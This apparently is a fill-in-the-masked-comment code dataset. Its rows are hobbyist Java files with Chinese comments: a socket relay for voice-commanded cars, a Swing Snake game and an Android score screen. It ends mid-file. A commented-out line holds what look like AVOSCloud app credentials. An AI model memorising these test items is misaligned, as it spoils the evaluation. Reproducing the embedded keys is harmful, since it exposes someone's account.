Map<String,serverthread> threadList = new HashMap<String,serverthread>();
ServerSocket server = new ServerSocket(8888);
while(true){
Socket socket = server.accept();
System.out.println("connection ok!");
new serverthread(socket,threadList).start();
}
}
catch(Exception e){
//server.close();
}
}
}
class serverthread extends Thread{
Socket socket;
BufferedReader in = null;
PrintWriter out;
BufferedReader sin;
Map<String,serverthread> threadList;
static int i = 0;
String car = null;
String ist = null;
public serverthread(Socket socket,Map<String,serverthread> threadList){
this.socket = socket;
//this.set = set;
this.threadList = threadList;
i++;
car = "car"+i;
threadList.put(car,this);
System.out.println("add suceess!");
}
public void run(){
try{
out = new PrintWriter(socket.getOutputStream(),true);//发送 <SUF>
in = new BufferedReader(new InputStreamReader(socket.getInputStream()));//获取client端流
//System.out.println("in ok!"+in.readLine());
if(in != null){
String s = in.readLine();
System.out.println("st:"+s);
if(s.startsWith("phone")){
threadList.remove(car);
}
Iterator<Entry<String,serverthread>> it = threadList.entrySet().iterator();
while (it.hasNext()&&s!=null) {
Map.Entry entry = (Map.Entry) it.next();
//返回对应到该条目的值
serverthread st = (serverthread) entry.getValue();
if(st!=this){
st.out.println(instruct(s));
System.out.println("send:"+instruct(s));
out.println(instruct(s));
}
}
}
//sin = new BufferedReader(new InputStreamReader(System.in));
//返回一个包含中条目的规则集(迭代器)
System.out.println("end");
in.close();
out.close();
socket.close();
}catch(Exception e){}
}
public String instruct(String st){
for(int j = 0;j<st.length();j++){
//System.out.println(st.substring(i,i+1));
String st1 = st.substring(j,j+1);
System.out.println("st1:"+st1);
if(st1.equals("前")||st1.equals("钱")||st1.equals("近")||st1.equals("进")){
System.out.println("result:a");
return "A";
}else if(st1.equals("后")||st1.equals("退")){
System.out.println("result:b");
return "B";
}else if(st1.equals("右")||st1.equals("有")){
System.out.println("result:d");
return "D";
}else if(st1.equals("左")||st1.equals("夺")||st1.equals("冠")){
System.out.println("result:c");
return "C";
}else if(st1.equals("停")||st1.equals("傻")||st1.equals("逼")){
System.out.println("result:i");
return "I";
}
}
return "null";
}
}
| 0 |
26292_20 | package view;
/*标题栏高度30,但在linux下不占用window高度
*如何避免所有重绘,而只画其中一部分【1.截图,设置背景2.】
* 重绘指定区域【http://bbs.csdn.net/topics/220032015】repaint(x,y,width,height)
* */
import model.MyFood;
import model.MyPoint;
import model.MySnake;
import org.apache.log4j.Logger;
//import org.junit.Test;
import javax.swing.*;
import java.awt.*;
import java.util.ArrayList;
public class GamePanel extends JPanel implements Runnable{
//主要是需要动态绘图
private static final GamePanel panel = new GamePanel();
private final int boxWidth = 25*2;
private final int boxRow = MyWindow.getWindow().getWinHeight()/boxWidth;
private final int boxCol = MyWindow.getWindow().getWinWidth()/boxWidth;
private final ArrayList<MyPoint> pointArrayList = MySnake.getSnake().getArrayListSnake();
private final MyPoint pointFood = MyFood.getFood();
//上一轮的最后一个,
private final MyPoint lastPoint = new MyPoint(-1,-1);
private final static Logger log = Logger.getLogger(GamePanel.class);
private boolean currentPanel = false;
//是否改变行动方向,由按键控制
private boolean changeDirection = false;
private int currentDirection = MySnake.getLeft();
private boolean firstPaint = true;
//返回主菜单中断行走线程
private boolean moveOver = false;
private static final Thread threadMove = new Thread(panel);
//游戏是否完成标识[当开启线程时和重置状态时,此变量设为false
private boolean gameOver = true;
//线程是否已经开启
private boolean threadStart = false;
static {
}
public boolean isThreadStart() {
return threadStart;
}
public void setThreadStart(boolean threadStart) {
this.threadStart = threadStart;
}
public boolean isGameOver() {
return gameOver;
}
public void setGameOver(boolean gameOver) {
this.gameOver = gameOver;
}
public static Thread getThreadMove() {
return threadMove;
}
public boolean isMoveOver() {
return moveOver;
}
public void setMoveOver(boolean moveOver) {
this.moveOver = moveOver;
}
public boolean isFirstPaint() {
return firstPaint;
}
public void setFirstPaint(boolean firstPaint) {
this.firstPaint = firstPaint;
}
public MyPoint getLastPoint() {
return lastPoint;
}
public boolean isChangeDirection() {
return changeDirection;
}
public void setChangeDirection(boolean changeDirection) {
this.changeDirection = changeDirection;
}
public int getCurrentDirection() {
return currentDirection;
}
public void setCurrentDirection(int currentDirection) {
this.currentDirection = currentDirection;
}
public boolean isCurrentPanel() {
return currentPanel;
}
public void setCurrentPanel(boolean currentPanel) {
this.currentPanel = currentPanel;
}
public int getBoxWidth() {
return boxWidth;
}
public int getBoxRow() {
return boxRow;
}
public ArrayList<MyPoint> getPointArrayList() {
return pointArrayList;
}
public MyPoint getPointFood() {
return pointFood;
}
public static Logger getLog() {
return log;
}
public int getBoxCol() {
return boxCol;
}
//绘图产生动画-----
@Override
public void paint(Graphics g) {
super.paint(g);
Graphics2D graphics2D = (Graphics2D) g;
graphics2D.setRenderingHint(RenderingHints.KEY_ANTIALIASING,RenderingHints.VALUE_ANTIALIAS_ON);
graphics2D.setColor(Color.MAGENTA);
graphics2D.drawLine(0, 0, 800, 600);
graphics2D.drawLine(0, 600, 800, 0);
//绘制网格
graphics2D.setColor(Color.BLUE);
int i;
for (i = 1; i < boxCol; i++)
graphics2D.drawLine(i * boxWidth, 0, i * boxWidth, 600);
for (i = 1; i < boxRow; i++)
graphics2D.drawLine(0, i * boxWidth, 800, i * boxWidth);
paintDynamic(graphics2D);
}
//绘制蛇体,食物,其余动态效果
private void paintDynamic(Graphics2D graphics2D){
Stroke stroke = new BasicStroke(1,BasicStroke.CAP_ROUND,BasicStroke.JOIN_ROUND,
0,null,0 );
graphics2D.setStroke(stroke);
for (MyPoint point:pointArrayList) {
graphics2D.setColor(Color.MAGENTA);
graphics2D.fillRect(point.getX() * boxWidth, point.getY() * boxWidth, boxWidth, boxWidth);
graphics2D.setColor(Color.YELLOW);
graphics2D.drawRect(point.getX() * boxWidth, point.getY() * boxWidth, boxWidth, boxWidth);
}
if (MyFood.getFood().getScore() == 2)
graphics2D.setColor(Color.pink);
graphics2D.fillRect(pointFood.getX()*boxWidth,pointFood.getY()*boxWidth,boxWidth,boxWidth);
graphics2D.setColor(Color.MAGENTA);
graphics2D.drawRect(pointFood.getX()*boxWidth,pointFood.getY()*boxWidth,boxWidth,boxWidth);
//覆盖上一次的最后一个,是否需要【吃到食物就不需要】
if (!(lastPoint.getX() == -1 && lastPoint.getX() == -1)){
graphics2D.setColor(new Color(0x33,0xcc,0xcc));//面板背景色
graphics2D.fillRect(lastPoint.getX()*boxWidth,lastPoint.getY()*boxWidth,boxWidth,boxWidth);
graphics2D.setColor(Color.BLUE);
graphics2D.drawRect(lastPoint.getX()*boxWidth,lastPoint.getY()*boxWidth,boxWidth,boxWidth);
}
}
@Override
public void print(Graphics g) {
super.print(g);
}
//坐标为x(col),y(row)方向
private void init(){
pointArrayList.add(new MyPoint(boxCol/2,boxRow/2));
pointArrayList.add(new MyPoint(boxCol/2+1,boxRow/2));
pointArrayList.add(new MyPoint(boxCol/2+2,boxRow/2));
}
public static GamePanel getPanel() {
return panel;
}
private GamePanel() {
super();
setBackground(new Color(0x33,0xcc,0xcc));
init();
}
@Override
public void run() {
log.info("move 线程启动。");
MyWindow.getWindow().setTitle("得分:"+MySnake.getSnake().getScore());
while (true){
synchronized (pointArrayList) {
try {
Thread.sleep(600);
} catch (InterruptedException e) {
log.info("行走发生异常:" + e.getLocalizedMessage());
try {
log.info("挂起move线程");
pointArrayList.wait();
//唤醒线程后从哪开始执行
log.info("线程move被唤醒,开始执行");
//唤醒线程之前需要重置food snake 状态,或者是唤醒后第一执行
if (!moveOver)//如果移动没有结束,【也就是这局游戏没有结束】
continue;
MySnake.getSnake().resetState();
GamePanel.getPanel().setCurrentDirection(MySnake.getLeft());
GamePanel.getPanel().setChangeDirection(false);
} catch (InterruptedException e1) {
log.info("挂起.的线程发生异常:"+e1.getLocalizedMessage());
}
}
}
log.info("I am going...");
MyPoint point = new MyPoint();
//是否有转向
if (changeDirection){
changeDirection = false;
}else {
//好像没必要分开,转不转向,都不影响预先点的生成
}
point.setY(pointArrayList.get(0).getY());
point.setX(pointArrayList.get(0).getX());
switch (currentDirection){
case MySnake.left:point.setX(point.getX()-1);break;
case MySnake.down:point.setY(point.getY()+1);break;
case MySnake.right:point.setX(point.getX()+1);break;
case MySnake.up:point.setY(point.getY()-1);break;
default:JOptionPane.showMessageDialog(this,"出现了未知方向");
}
MyPoint pointFood = MyFood.getFood();
//如果撞到自己
for (MyPoint myp : pointArrayList) {
if (myp.getY() == point.getY() && myp.getX() == point.getX()){
gameOver();
}
}
//给最后一个赋值
lastPoint.setX(pointArrayList.get(pointArrayList.size()-1).getX());
lastPoint.setY(pointArrayList.get(pointArrayList.size()-1).getY());
//吃到食物[改变数组长度,并使lastPoint为-1,-1(表示不覆盖)]
if (point.getX() == pointFood.getX() && point.getY() == pointFood.getY()){
log.info("吃到食物。");
//插入头节点
pointArrayList.add(0,point);
lastPoint.setY(-1);
lastPoint.setX(-1);
MySnake.getSnake().setScore(MySnake.getSnake().getScore()+MyFood.getFood().getScore());
MyFood.getFood().flush();
MyWindow.getWindow().setTitle("得分:"+MySnake.getSnake().getScore());
}else if (point.getX()<0||point.getX()>=boxCol||point.getY()<0||point.getY()>=boxRow){
gameOver();
}else {//正常移动,整体移位
int x,y;
for (MyPoint myPoint:pointArrayList){
x = myPoint.getX();
y = myPoint.getY();
myPoint.setY(point.getY());
myPoint.setX(point.getX());
point.setX(x);
point.setY(y);
}
}
log.info("蛇长度:"+pointArrayList.size()+"头位置:"+pointArrayList.get(0).getX()+','+pointArrayList.get(0).getY()+
"食物位置:"+pointFood.toString()+"总分:"+MySnake.getSnake().getScore());
paintMove();
}
}
public void gameOver(){
JOptionPane.showMessageDialog(this,"game over\n" +
"得分:"+MySnake.getSnake().getScore());
moveOver = true;
//游戏处于结束状态,设置结束标识
gameOver = true;
threadMove.interrupt();
/*根据jdk的void notifyAll()的描述,“解除那些在该对象上调用wait()方法的线程的阻塞状态。
该方法只能在同步方法或同步块内部调用。
如果当前线程不是对象所得持有者,该方法抛出一个java.lang.IllegalMonitorStateException 异常”
* */
/*try {
threadMove.wait();
} catch (InterruptedException e) {
log.info("挂起:"+e.getLocalizedMessage());
}*/
MyWindow.getWindow().remove(this);
MyWindow.getWindow().add(MenuPanel.getPanel().getjPanel());
MyWindow.getWindow().setTitle(MyWindow.getWindow().getWinTitle());
MyWindow.getWindow().repaint();
MyWindow.getWindow().validate();
}
@Override
public void repaint() {
super.repaint();
}
//行走:
public void paintMove(){
repaint();
//重绘蛇身上轮最后一点
/* repaint(lastPoint.getX(),lastPoint.getY(),boxWidth,boxWidth);
repaint(pointArrayList.get(0).getX());*/
/*//给最后一个赋值
lastPoint.setX(pointArrayList.get(pointArrayList.size()-1).getX());
lastPoint.setY(pointArrayList.get(pointArrayList.size()-1).getY());*/
}
}
| 0874/tanChiShe | src/main/java/view/GamePanel.java | 2,915 | //给最后一个赋值 | line_comment | zh-cn | package view;
/*标题栏高度30,但在linux下不占用window高度
*如何避免所有重绘,而只画其中一部分【1.截图,设置背景2.】
* 重绘指定区域【http://bbs.csdn.net/topics/220032015】repaint(x,y,width,height)
* */
import model.MyFood;
import model.MyPoint;
import model.MySnake;
import org.apache.log4j.Logger;
//import org.junit.Test;
import javax.swing.*;
import java.awt.*;
import java.util.ArrayList;
public class GamePanel extends JPanel implements Runnable{
//主要是需要动态绘图
private static final GamePanel panel = new GamePanel();
private final int boxWidth = 25*2;
private final int boxRow = MyWindow.getWindow().getWinHeight()/boxWidth;
private final int boxCol = MyWindow.getWindow().getWinWidth()/boxWidth;
private final ArrayList<MyPoint> pointArrayList = MySnake.getSnake().getArrayListSnake();
private final MyPoint pointFood = MyFood.getFood();
//上一轮的最后一个,
private final MyPoint lastPoint = new MyPoint(-1,-1);
private final static Logger log = Logger.getLogger(GamePanel.class);
private boolean currentPanel = false;
//是否改变行动方向,由按键控制
private boolean changeDirection = false;
private int currentDirection = MySnake.getLeft();
private boolean firstPaint = true;
//返回主菜单中断行走线程
private boolean moveOver = false;
private static final Thread threadMove = new Thread(panel);
//游戏是否完成标识[当开启线程时和重置状态时,此变量设为false
private boolean gameOver = true;
//线程是否已经开启
private boolean threadStart = false;
static {
}
public boolean isThreadStart() {
return threadStart;
}
public void setThreadStart(boolean threadStart) {
this.threadStart = threadStart;
}
public boolean isGameOver() {
return gameOver;
}
public void setGameOver(boolean gameOver) {
this.gameOver = gameOver;
}
public static Thread getThreadMove() {
return threadMove;
}
public boolean isMoveOver() {
return moveOver;
}
public void setMoveOver(boolean moveOver) {
this.moveOver = moveOver;
}
public boolean isFirstPaint() {
return firstPaint;
}
public void setFirstPaint(boolean firstPaint) {
this.firstPaint = firstPaint;
}
public MyPoint getLastPoint() {
return lastPoint;
}
public boolean isChangeDirection() {
return changeDirection;
}
public void setChangeDirection(boolean changeDirection) {
this.changeDirection = changeDirection;
}
public int getCurrentDirection() {
return currentDirection;
}
public void setCurrentDirection(int currentDirection) {
this.currentDirection = currentDirection;
}
public boolean isCurrentPanel() {
return currentPanel;
}
public void setCurrentPanel(boolean currentPanel) {
this.currentPanel = currentPanel;
}
public int getBoxWidth() {
return boxWidth;
}
public int getBoxRow() {
return boxRow;
}
public ArrayList<MyPoint> getPointArrayList() {
return pointArrayList;
}
public MyPoint getPointFood() {
return pointFood;
}
public static Logger getLog() {
return log;
}
public int getBoxCol() {
return boxCol;
}
//绘图产生动画-----
@Override
public void paint(Graphics g) {
super.paint(g);
Graphics2D graphics2D = (Graphics2D) g;
graphics2D.setRenderingHint(RenderingHints.KEY_ANTIALIASING,RenderingHints.VALUE_ANTIALIAS_ON);
graphics2D.setColor(Color.MAGENTA);
graphics2D.drawLine(0, 0, 800, 600);
graphics2D.drawLine(0, 600, 800, 0);
//绘制网格
graphics2D.setColor(Color.BLUE);
int i;
for (i = 1; i < boxCol; i++)
graphics2D.drawLine(i * boxWidth, 0, i * boxWidth, 600);
for (i = 1; i < boxRow; i++)
graphics2D.drawLine(0, i * boxWidth, 800, i * boxWidth);
paintDynamic(graphics2D);
}
//绘制蛇体,食物,其余动态效果
private void paintDynamic(Graphics2D graphics2D){
Stroke stroke = new BasicStroke(1,BasicStroke.CAP_ROUND,BasicStroke.JOIN_ROUND,
0,null,0 );
graphics2D.setStroke(stroke);
for (MyPoint point:pointArrayList) {
graphics2D.setColor(Color.MAGENTA);
graphics2D.fillRect(point.getX() * boxWidth, point.getY() * boxWidth, boxWidth, boxWidth);
graphics2D.setColor(Color.YELLOW);
graphics2D.drawRect(point.getX() * boxWidth, point.getY() * boxWidth, boxWidth, boxWidth);
}
if (MyFood.getFood().getScore() == 2)
graphics2D.setColor(Color.pink);
graphics2D.fillRect(pointFood.getX()*boxWidth,pointFood.getY()*boxWidth,boxWidth,boxWidth);
graphics2D.setColor(Color.MAGENTA);
graphics2D.drawRect(pointFood.getX()*boxWidth,pointFood.getY()*boxWidth,boxWidth,boxWidth);
//覆盖上一次的最后一个,是否需要【吃到食物就不需要】
if (!(lastPoint.getX() == -1 && lastPoint.getX() == -1)){
graphics2D.setColor(new Color(0x33,0xcc,0xcc));//面板背景色
graphics2D.fillRect(lastPoint.getX()*boxWidth,lastPoint.getY()*boxWidth,boxWidth,boxWidth);
graphics2D.setColor(Color.BLUE);
graphics2D.drawRect(lastPoint.getX()*boxWidth,lastPoint.getY()*boxWidth,boxWidth,boxWidth);
}
}
@Override
public void print(Graphics g) {
super.print(g);
}
//坐标为x(col),y(row)方向
private void init(){
pointArrayList.add(new MyPoint(boxCol/2,boxRow/2));
pointArrayList.add(new MyPoint(boxCol/2+1,boxRow/2));
pointArrayList.add(new MyPoint(boxCol/2+2,boxRow/2));
}
public static GamePanel getPanel() {
return panel;
}
private GamePanel() {
super();
setBackground(new Color(0x33,0xcc,0xcc));
init();
}
@Override
public void run() {
log.info("move 线程启动。");
MyWindow.getWindow().setTitle("得分:"+MySnake.getSnake().getScore());
while (true){
synchronized (pointArrayList) {
try {
Thread.sleep(600);
} catch (InterruptedException e) {
log.info("行走发生异常:" + e.getLocalizedMessage());
try {
log.info("挂起move线程");
pointArrayList.wait();
//唤醒线程后从哪开始执行
log.info("线程move被唤醒,开始执行");
//唤醒线程之前需要重置food snake 状态,或者是唤醒后第一执行
if (!moveOver)//如果移动没有结束,【也就是这局游戏没有结束】
continue;
MySnake.getSnake().resetState();
GamePanel.getPanel().setCurrentDirection(MySnake.getLeft());
GamePanel.getPanel().setChangeDirection(false);
} catch (InterruptedException e1) {
log.info("挂起.的线程发生异常:"+e1.getLocalizedMessage());
}
}
}
log.info("I am going...");
MyPoint point = new MyPoint();
//是否有转向
if (changeDirection){
changeDirection = false;
}else {
//好像没必要分开,转不转向,都不影响预先点的生成
}
point.setY(pointArrayList.get(0).getY());
point.setX(pointArrayList.get(0).getX());
switch (currentDirection){
case MySnake.left:point.setX(point.getX()-1);break;
case MySnake.down:point.setY(point.getY()+1);break;
case MySnake.right:point.setX(point.getX()+1);break;
case MySnake.up:point.setY(point.getY()-1);break;
default:JOptionPane.showMessageDialog(this,"出现了未知方向");
}
MyPoint pointFood = MyFood.getFood();
//如果撞到自己
for (MyPoint myp : pointArrayList) {
if (myp.getY() == point.getY() && myp.getX() == point.getX()){
gameOver();
}
}
//给最 <SUF>
lastPoint.setX(pointArrayList.get(pointArrayList.size()-1).getX());
lastPoint.setY(pointArrayList.get(pointArrayList.size()-1).getY());
//吃到食物[改变数组长度,并使lastPoint为-1,-1(表示不覆盖)]
if (point.getX() == pointFood.getX() && point.getY() == pointFood.getY()){
log.info("吃到食物。");
//插入头节点
pointArrayList.add(0,point);
lastPoint.setY(-1);
lastPoint.setX(-1);
MySnake.getSnake().setScore(MySnake.getSnake().getScore()+MyFood.getFood().getScore());
MyFood.getFood().flush();
MyWindow.getWindow().setTitle("得分:"+MySnake.getSnake().getScore());
}else if (point.getX()<0||point.getX()>=boxCol||point.getY()<0||point.getY()>=boxRow){
gameOver();
}else {//正常移动,整体移位
int x,y;
for (MyPoint myPoint:pointArrayList){
x = myPoint.getX();
y = myPoint.getY();
myPoint.setY(point.getY());
myPoint.setX(point.getX());
point.setX(x);
point.setY(y);
}
}
log.info("蛇长度:"+pointArrayList.size()+"头位置:"+pointArrayList.get(0).getX()+','+pointArrayList.get(0).getY()+
"食物位置:"+pointFood.toString()+"总分:"+MySnake.getSnake().getScore());
paintMove();
}
}
public void gameOver(){
JOptionPane.showMessageDialog(this,"game over\n" +
"得分:"+MySnake.getSnake().getScore());
moveOver = true;
//游戏处于结束状态,设置结束标识
gameOver = true;
threadMove.interrupt();
/*根据jdk的void notifyAll()的描述,“解除那些在该对象上调用wait()方法的线程的阻塞状态。
该方法只能在同步方法或同步块内部调用。
如果当前线程不是对象所得持有者,该方法抛出一个java.lang.IllegalMonitorStateException 异常”
* */
/*try {
threadMove.wait();
} catch (InterruptedException e) {
log.info("挂起:"+e.getLocalizedMessage());
}*/
MyWindow.getWindow().remove(this);
MyWindow.getWindow().add(MenuPanel.getPanel().getjPanel());
MyWindow.getWindow().setTitle(MyWindow.getWindow().getWinTitle());
MyWindow.getWindow().repaint();
MyWindow.getWindow().validate();
}
@Override
public void repaint() {
super.repaint();
}
//行走:
public void paintMove(){
repaint();
//重绘蛇身上轮最后一点
/* repaint(lastPoint.getX(),lastPoint.getY(),boxWidth,boxWidth);
repaint(pointArrayList.get(0).getX());*/
/*//给最后一个赋值
lastPoint.setX(pointArrayList.get(pointArrayList.size()-1).getX());
lastPoint.setY(pointArrayList.get(pointArrayList.size()-1).getY());*/
}
}
| 0 |
27314_5 | package com.hyd.zjfb;
import android.app.*;
import android.content.*;
import android.os.*;
import android.util.*;
import android.view.*;
import android.view.View.*;
import android.widget.*;
import com.avos.avoscloud.*;
import java.io.*;
public class section_2_result extends Activity
{
private int score,score_,lineTxt_,gt;
private Button e,f;
private int level_code;
private TextView b,c,d,g;
private TextView a;
private int whiteblocks=0,num,red,yellow;
private String lineTxt,user;
private File fd=new File("/mnt/sdcard/zjfb_present_0.txt");
private File fs=new File("/mnt/sdcard/zjfb_present_1.txt");
private File fp=new File("/mnt/sdcard/zjfb_present_2.txt");
private File fo=new File("/mnt/sdcard/zjfb_present_3.txt");
@Override
public void onCreate(Bundle savedInstanceState)
{
requestWindowFeature(Window.FEATURE_NO_TITLE);
super.onCreate(savedInstanceState);
setContentView(R.layout.section_2_result);
// AVOSCloud.initialize(this, "li8gesgfo0c3xky7br5ziclfsnh5mpxk5c6og2e7sr8kt9au", "uxdxh7ctrq5v9ahvbox1h3tm0ra66p4822fsexx6lm8358ns");
Bundle bundle = this.getIntent().getExtras();
score=bundle.getInt("result_s2");
red=bundle.getInt("red");
yellow=bundle.getInt("yellow");
whiteblocks=bundle.getInt("whiteblocks");
int extra= (int) (Math.random() * (98)) + 0;
score_=score+extra;
e=(Button) findViewById(R.id.section1resultButton1);
f=(Button) findViewById(R.id.section1resultButton2);
a=(TextView) findViewById(R.id.section1resultTextView3);
b=(TextView) findViewById(R.id.section1resultTextView5);
c=(TextView) findViewById(R.id.section1resultTextView6);
d=(TextView) findViewById(R.id.section1resultTextView7);
g=(TextView) findViewById(R.id.section1resultTextView8);
try
{
File fr=new File("/mnt/sdcard/zjfb_level.txt");
if(fr.isFile() && fr.exists()){ //判断文件是否存在
InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK");
BufferedReader bufferedReader = new BufferedReader(read);
level_code =Integer.parseInt( bufferedReader.readLine());
read.close();
}}catch (Exception e){}
try
{
File fr=new File("/mnt/sdcard/zjfb_BestRecord2.txt");
if(fr.isFile() && fr.exists()){ //判断文件是否存在
InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK");
BufferedReader bufferedReader = new BufferedReader(read);
lineTxt = bufferedReader.readLine();
read.close();
}
}
catch (IOException e)
{}
lineTxt_=Integer.parseInt(lineTxt);
if(score> lineTxt_)
{
d.setVisibility(View.VISIBLE);
try
{
FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_BestRecord2.txt");
}
catch (IOException e)
{}
File file=new File("/mnt/sdcard/zjfb_BestRecord2.txt");
if(file.isFile() && file.exists()){
BufferedWriter fw = null;
try {
fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常
fw.append(""+score);
fw.newLine();
fw.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (fw != null) {
try {
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
try
{
if(fd.isFile() && fd.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成10%");
score_=(int)(score*1.1);
}
}
catch (Exception e)
{}
try
{
if(fs.isFile() && fs.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成3%");
score_=(int)(score*1.03);
}
}
catch (Exception e)
{}
try
{
if(fp.isFile() && fp.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成5%");
score_=(int)(score*1.05);
}
}
catch (Exception e)
{}
try
{
if(fo.isFile() && fo.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成20%");
score_=(int)(score*1.2);
}
}
catch (Exception e)
{}
//2
if(fd.isFile() && fd.exists()&&fs.isFile() && fs.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成13%");
score_=(int)(score*1.13);
}
if(fd.isFile() && fd.exists()&&fp.isFile() && fp.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成15%");
score_=(int)(score*1.15);
}
if(fd.isFile() && fd.exists()&&fo.isFile() && fo.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成30%");
score_=(int)(score*1.3);
}
if(fs.isFile() && fs.exists()&&fp.isFile() && fp.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成18%");
score_=(int)(score*1.18);
}
if(fs.isFile() && fs.exists()&&fo.isFile() && fo.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成23%");
score_=(int)(score*1.23);
}
if(fo.isFile() && fo.exists()&&fp.isFile() && fp.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成25%");
score_=(int)(score*1.25);
}
//3
if(fd.isFile() && fd.exists()&&fp.isFile() && fp.exists()&&fs.isFile() && fs.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成18%");
score_=(int)(score*1.18);
}
if(fd.isFile() && fd.exists()&&fo.isFile() && fo.exists()&&fs.isFile() && fs.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成33%");
score_=(int)(score*1.33);
}
if(fd.isFile() && fd.exists()&&fp.isFile() && fp.exists()&&fo.isFile() && fo.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成35%");
score_=(int)(score*1.35);
}
if(fo.isFile() && fo.exists()&&fp.isFile() && fp.exists()&&fs.isFile() && fs.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成28%");
score_=(int)(score*1.28);
}
//4
if(fd.isFile() && fd.exists()&&fp.isFile() && fp.exists()
&&fs.isFile() && fs.exists()&&fo.isFile() && fo.exists()){ //判断文件是否存在
g.setVisibility(View.VISIBLE);
g.setText("加成38%");
score_=(int)(score*1.38);
}
//得分
a.setText(score_+"");
// a.setText(whiteblocks+"");
if(score<7000)
{
b.setText("☆☆☆☆☆");
c.setText("你逗我玩呢是吧→_→");
}
if(score>=7000&&score<11000)
{
b.setText("★☆☆☆☆");
c.setText("我对你的手速真是醉了=_=");
}
if(score>=11000&&score<14000)
{
b.setText("★★☆☆☆");
c.setText("还要再接再厉哦!O(∩_∩)O");
}
if(score>=14000&&score<17000)
{
b.setText("★★★☆☆");
c.setText("就差一点点啦!再试一次吧?(^_^)");
}
if(score>=17000&&score<20000)
{
b.setText("★★★★☆");
c.setText("手速不错!厉害!\\(≧▽≦)/~");
}
if(score>=20000&&score<23000)
{
File fz=new File("/mnt/sdcard/zjfb_a_fivet.txt");
if(fz.isFile() && fz.exists()){}
else{
try
{
FileWriter fh=new FileWriter("/mnt/sdcard/zjfb_a_fivet.txt");
}
catch (IOException e)
{}
final AlertDialog Dialog;
Dialog = new AlertDialog.Builder(section_2_result.this).create();
Dialog.show();
Dialog.getWindow().setContentView(R.layout.dialog00);
Dialog.getWindow().findViewById(R.id.dialogupButton1)
.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Dialog.dismiss();
}
});
level_code=level_code+20;
try
{
FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_level.txt");
}
catch (IOException e)
{}
BufferedWriter fw = null;
try {
File ft=new File("/mnt/sdcard/zjfb_level.txt");
fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常
fw.append(level_code+"");
fw.newLine();
fw.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (fw != null) {
try {
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
b.setText("★★★★★");
c.setText("你已超越凡人!快去看看排行榜上的世界纪录吧!");
}
if(score>=30000)
{
b.setText("卍卍卍卍卍");
c.setText("我对您本次成绩表示疑惑,请不要使用外挂等工具,如有下次必将重罚。@( ̄- ̄)@\n如有意见请反馈。");
}
e.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View p1)
{
Intent pp1=new Intent();
pp1.setClass(section_2_result.this,start.class);
startActivity(pp1);
finish();
}
});
f.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View p1)
{
Intent pp1=new Intent();
pp1.setClass(section_2_result.this,section_2.class);
startActivity(pp1);
finish();
}
});
int num = (int) (Math.random() * 99) + 1;
//num=10;
if(num==10)
{
File fd=new File("/mnt/sdcard/zjfb_present_0.txt");
if(fd.isFile() && fd.exists()){ //判断文件是否存在
}
else{
final AlertDialog Dialog;
Dialog = new AlertDialog.Builder(section_2_result.this).create();
Dialog.show();
Dialog.getWindow().setContentView(R.layout.dialog1);
Dialog.getWindow().findViewById(R.id.dialogupButton1)
.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Dialog.dismiss();
}
});
try
{
FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_present_0.txt");
}
catch (IOException e)
{}
}
}
if(num>10&&num<18)
{
File fd=new File("/mnt/sdcard/zjfb_present_1.txt");
if(fd.isFile() && fd.exists()){ //判断文件是否存在
}
else{
final AlertDialog Dialog;
Dialog = new AlertDialog.Builder(section_2_result.this).create();
Dialog.show();
Dialog.getWindow().setContentView(R.layout.dialog2);
Dialog.getWindow().findViewById(R.id.dialogupButton1)
.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Dialog.dismiss();
}
});
try
{
FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_present_1.txt");
}
catch (IOException e)
{}
}
}
//经验值增加
try
{
File fr=new File("/mnt/sdcard/zjfb_level.txt");
if(fr.isFile() && fr.exists()){ //判断文件是否存在
InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK");
BufferedReader bufferedReader = new BufferedReader(read);
level_code =Integer.parseInt( bufferedReader.readLine());
read.close();
level_code=level_code+3;
try
{
FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_level.txt");
}
catch (IOException e)
{}
BufferedWriter fw = null;
try {
File ft=new File("/mnt/sdcard/zjfb_level.txt");
fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常
fw.append(level_code+"");
fw.newLine();
fw.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (fw != null) {
try {
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
else{
level_code=0;
try
{
FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_level.txt");
